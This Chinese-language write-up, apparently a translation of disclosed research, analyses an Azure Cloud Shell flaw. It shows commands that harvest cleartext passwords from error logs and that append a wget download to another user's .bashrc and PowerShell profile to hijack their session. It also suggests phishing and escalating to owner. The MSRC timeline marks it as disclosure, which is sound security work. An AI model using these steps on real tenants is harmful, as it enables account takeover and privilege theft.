Azure Cloud Shell 跨用户命令执行与提权漏洞分析
0x01 漏洞描述
默认情况下,Azure订阅贡献者可以访问订阅中的所有存储帐户。这些存储帐户包含带有敏感信息的Azure Cloud Shell存储文件(Linux主目录)。通过修改这些Cloud Shell文件,攻击者可以在其他用户的Cloud Shell会话中执行命令。这可能导致跨帐户命令执行和特权升级。
Azure的cloud-shell(https://azure.microsoft.com/en-us/features/cloud-shell/)可管理Azure的资源的简便方法,但它也可以是一个渗透测试过程中的敏感数据和特权升级的一个潜在来源。Azure Cloud Shell允许用户从“任何地方”管理Azure中的资源。这包括shell.azure.com,Azure app和Microsoft Terminal应用程序。
为了无论何时何地登录都保持一致的体验,Cloud Shell服务将文件订阅保留在Azure存储帐户中。Cloud Shell将配置选择的存储帐户,并且实际文件将在该存储帐户的文件共享服务下。如果使用的是根据Cloud Shell默认值自动生成的存储帐户,则很可能在其前面加上cs。
有关Azure Cloud Shell如何持久保存文件的更多信息,请查阅此Microsoft文档– https://docs.microsoft.com/zh-cn/azure/cloud-shell/persisting-shell-storage
0x02 处理Cloud Shell文件
假设已经破坏了一个具有读取/写入Cloud Shell文件共享权限的AzureAD帐户。通常,这将是订阅上的贡献者帐户,但是可能会遇到对存储帐户具有特定贡献者权限的用户。
重要说明:默认情况下,除非另有限制,否则所有订阅贡献者帐户都将具有对所有订阅存储帐户的读/写访问权限。
有了此访问权限,应该能够下载Cloud Shell目录中的所有可用文件,包括acc_ACCT.img文件。如果在同一存储帐户中有多个具有Cloud Shell实例的用户,则该存储帐户中将有多个文件夹。作为攻击者,选择要攻击的帐户(john),然后下载该帐户的IMG文件,该文件通常为5 GB。
IMG文件是EXT2文件系统,因此可以轻松地在Linux机器上挂载文件系统。安装到Linux上,主要关注两条路径。
0x03 漏洞分析
如果将Cloud Shell用于任何实际工作(而不仅仅是偶然打开一次……),则操作该Shell的用户有可能在其命令中犯了一些错误。如果使用任何Azure PowerShell cmdlet犯了这些错误,则生成的错误日志将最终存储在IMG文件系统中的.Azure(请注意大写A)文件夹中。
NewAzVM cmdlet在这里特别容易受到攻击,因为它可能最终记录新虚拟机的本地管理员帐户的凭据。在这种情况下,尝试创建一个名称不兼容的虚拟机。就会导致记录明文密码。
PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log 103341- } 103349- }, 103356- "osProfile": { 103375- "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf", 103445- "adminUsername": "netspi", 103478: "adminPassword": "Cleartext?", 103515- "windowsConfiguration": {} 103548- }, 103555- "networkProfile": { 103579- "networkInterfaces": [ 103608- {
如果要解析Cloud Shell IMG文件,请确保查看.Azure / ErrorRecords文件中是否包含任何敏感信息,因为可能会发现有用的信息。
此外,任何命令历史记录文件都可能包含一些有趣的信息:
· .bash_history
· .local / share / powershell / PSReadLine / ConsoleHost_history.txt
0x04 跨帐户命令执行
假设已经破坏了Azure订阅中的“ Bob”帐户。Bob是该订阅的贡献者,并与“ Alice”帐户共享该订阅。Alice是订阅的所有者,还是Azure租户的全局管理员。Alice是Cloud Shell的高级用户,并且在Bob使用的订阅上有一个实例。
由于Bob是订阅中的贡献者,因此他有权(默认情况下)下载任何Cloud Shell.IMG文件,包括Alice的acc_alice.img。下载后,Bob将IMG文件挂载到Linux系统中(挂载acc_alice.img / mnt /),并将要运行的任何命令附加到以下两个文件:
· .bashrc
· /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
将MicroBurst下载到Cloud Shell作为PoC:
https://github.com/NetSPI/MicroBurst
$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc $ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
Bob添加攻击命令后,他将卸载IMG文件,并将其上传回Azure存储帐户。当你上传文件时,请确保选中“如果文件已经存在,否则会覆盖”文本框。
上传完成后,Cloud Shell环境已准备好进行攻击。由Alice帐户启动的下一个Cloud Shell实例将在Alice帐户的上下文下运行附加的命令。
请注意,可以通过在Azure Linux VM中装载文件共享而不是下载,修改和上传文件来完成相同的攻击。
0x05 漏洞演示
在此示例中,我们仅修改了两个文件调用“ Hello World”作为PoC。通过修改.bashrc和PowerShell配置文件,还确保了无论选择哪种Cloud Shell,命令都将运行。
此时,用于命令执行的选项非常多,但是我建议使用它来将当前用户添加为受害用户有权访问的租户中当前订阅或其他订阅上的更多特权用户(所有者)。
如果不确定受害者用户可以访问哪些订阅,请查看其Cloud Shell目录中的.azure / azureProfile.json文件。
最后,如果目标用户在参与过程中没有使用Cloud Shell,则可以使用放置位置正确的网络钓鱼电子邮件以及指向https://shell.azure.com/的链接来诱使用户启动Cloud Shell。
0x06 MSRC披露时间表
这两个问题(信息披露和特权升级)均已提交给MSRC:
· 19/10/21 –已创建VULN-011207和VULN-011212并分配了编号
· 19/10/25 –特权提升问题(VULN-011212)状态更改为“完成”
· 19/10/28 –向MSRC发送了其他上下文,以阐明标准存储帐户权限
· 19/11/1 –信息披露问题(VULN-011207)状态更改为“完成”
· 19/12/4 – Cloud Shell特权升级问题(VULN-011212)状态更改为“完成”
0x07 学习总结
默认情况下,Azure订阅贡献者可以访问订阅中的所有存储帐户,但是这些存储帐户有包含带有敏感信息的Azure Cloud Shell存储文件,通过修改这些Cloud Shell文件,攻击者可以在其他用户的Cloud Shell会话中执行命令。这可能导致跨帐户命令执行和特权升级。
下载Cloud Shell目录中的所有可用文件,包括acc_ACCT.img文件。
操作该Shell的用户有可能在其命令中犯了一些错误。如果使用任何Azure PowerShell cmdlet犯了这些错误,则生成的错误日志将最终存储在IMG文件系统中的.Azure文件夹中。在这种情况下,尝试创建一个名称不兼容的虚拟机。就会导致记录明文密码。
PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log 103341- } 103349- }, 103356- "osProfile": { 103375- "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf", 103445- "adminUsername": "netspi", 103478: "adminPassword": "Cleartext?", 103515- "windowsConfiguration": {} 103548- }, 103555- "networkProfile": { 103579- "networkInterfaces": [ 103608- {
通过错误输出得到了其他账户的登录信息。
假设已经破坏了Azure订阅中的“ Bob”帐户。Bob是该订阅的贡献者,并与“ Alice”帐户共享该订阅。Alice是订阅的所有者,还是Azure租户的全局管理员。
由于Bob是订阅中的贡献者,因此他有权(默认情况下)下载任何Cloud Shell.IMG文件,包括Alice的acc_alice.img。下载后,Bob将IMG文件挂载到Linux系统中,并将要运行的命令附加到以下两个文件:
· .bashrc
· /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1
Bob添加攻击命令后,卸载IMG文件,并将其上传回Azure存储帐户。上传完成后,Cloud Shell环境已准备好进行攻击。由Alice帐户启动的下一个Cloud Shell实例将在Alice帐户的上下文下运行附加的命令。
最终效果是Alice打开shell后执行了Bob的命令。
给了一个挖掘思路是要多关注错误输出的日志信息,某些错误日志中可能会有敏感信息,普通用户通过共享文件漏洞实现了让高级用户执行命令,提权思路有点骚。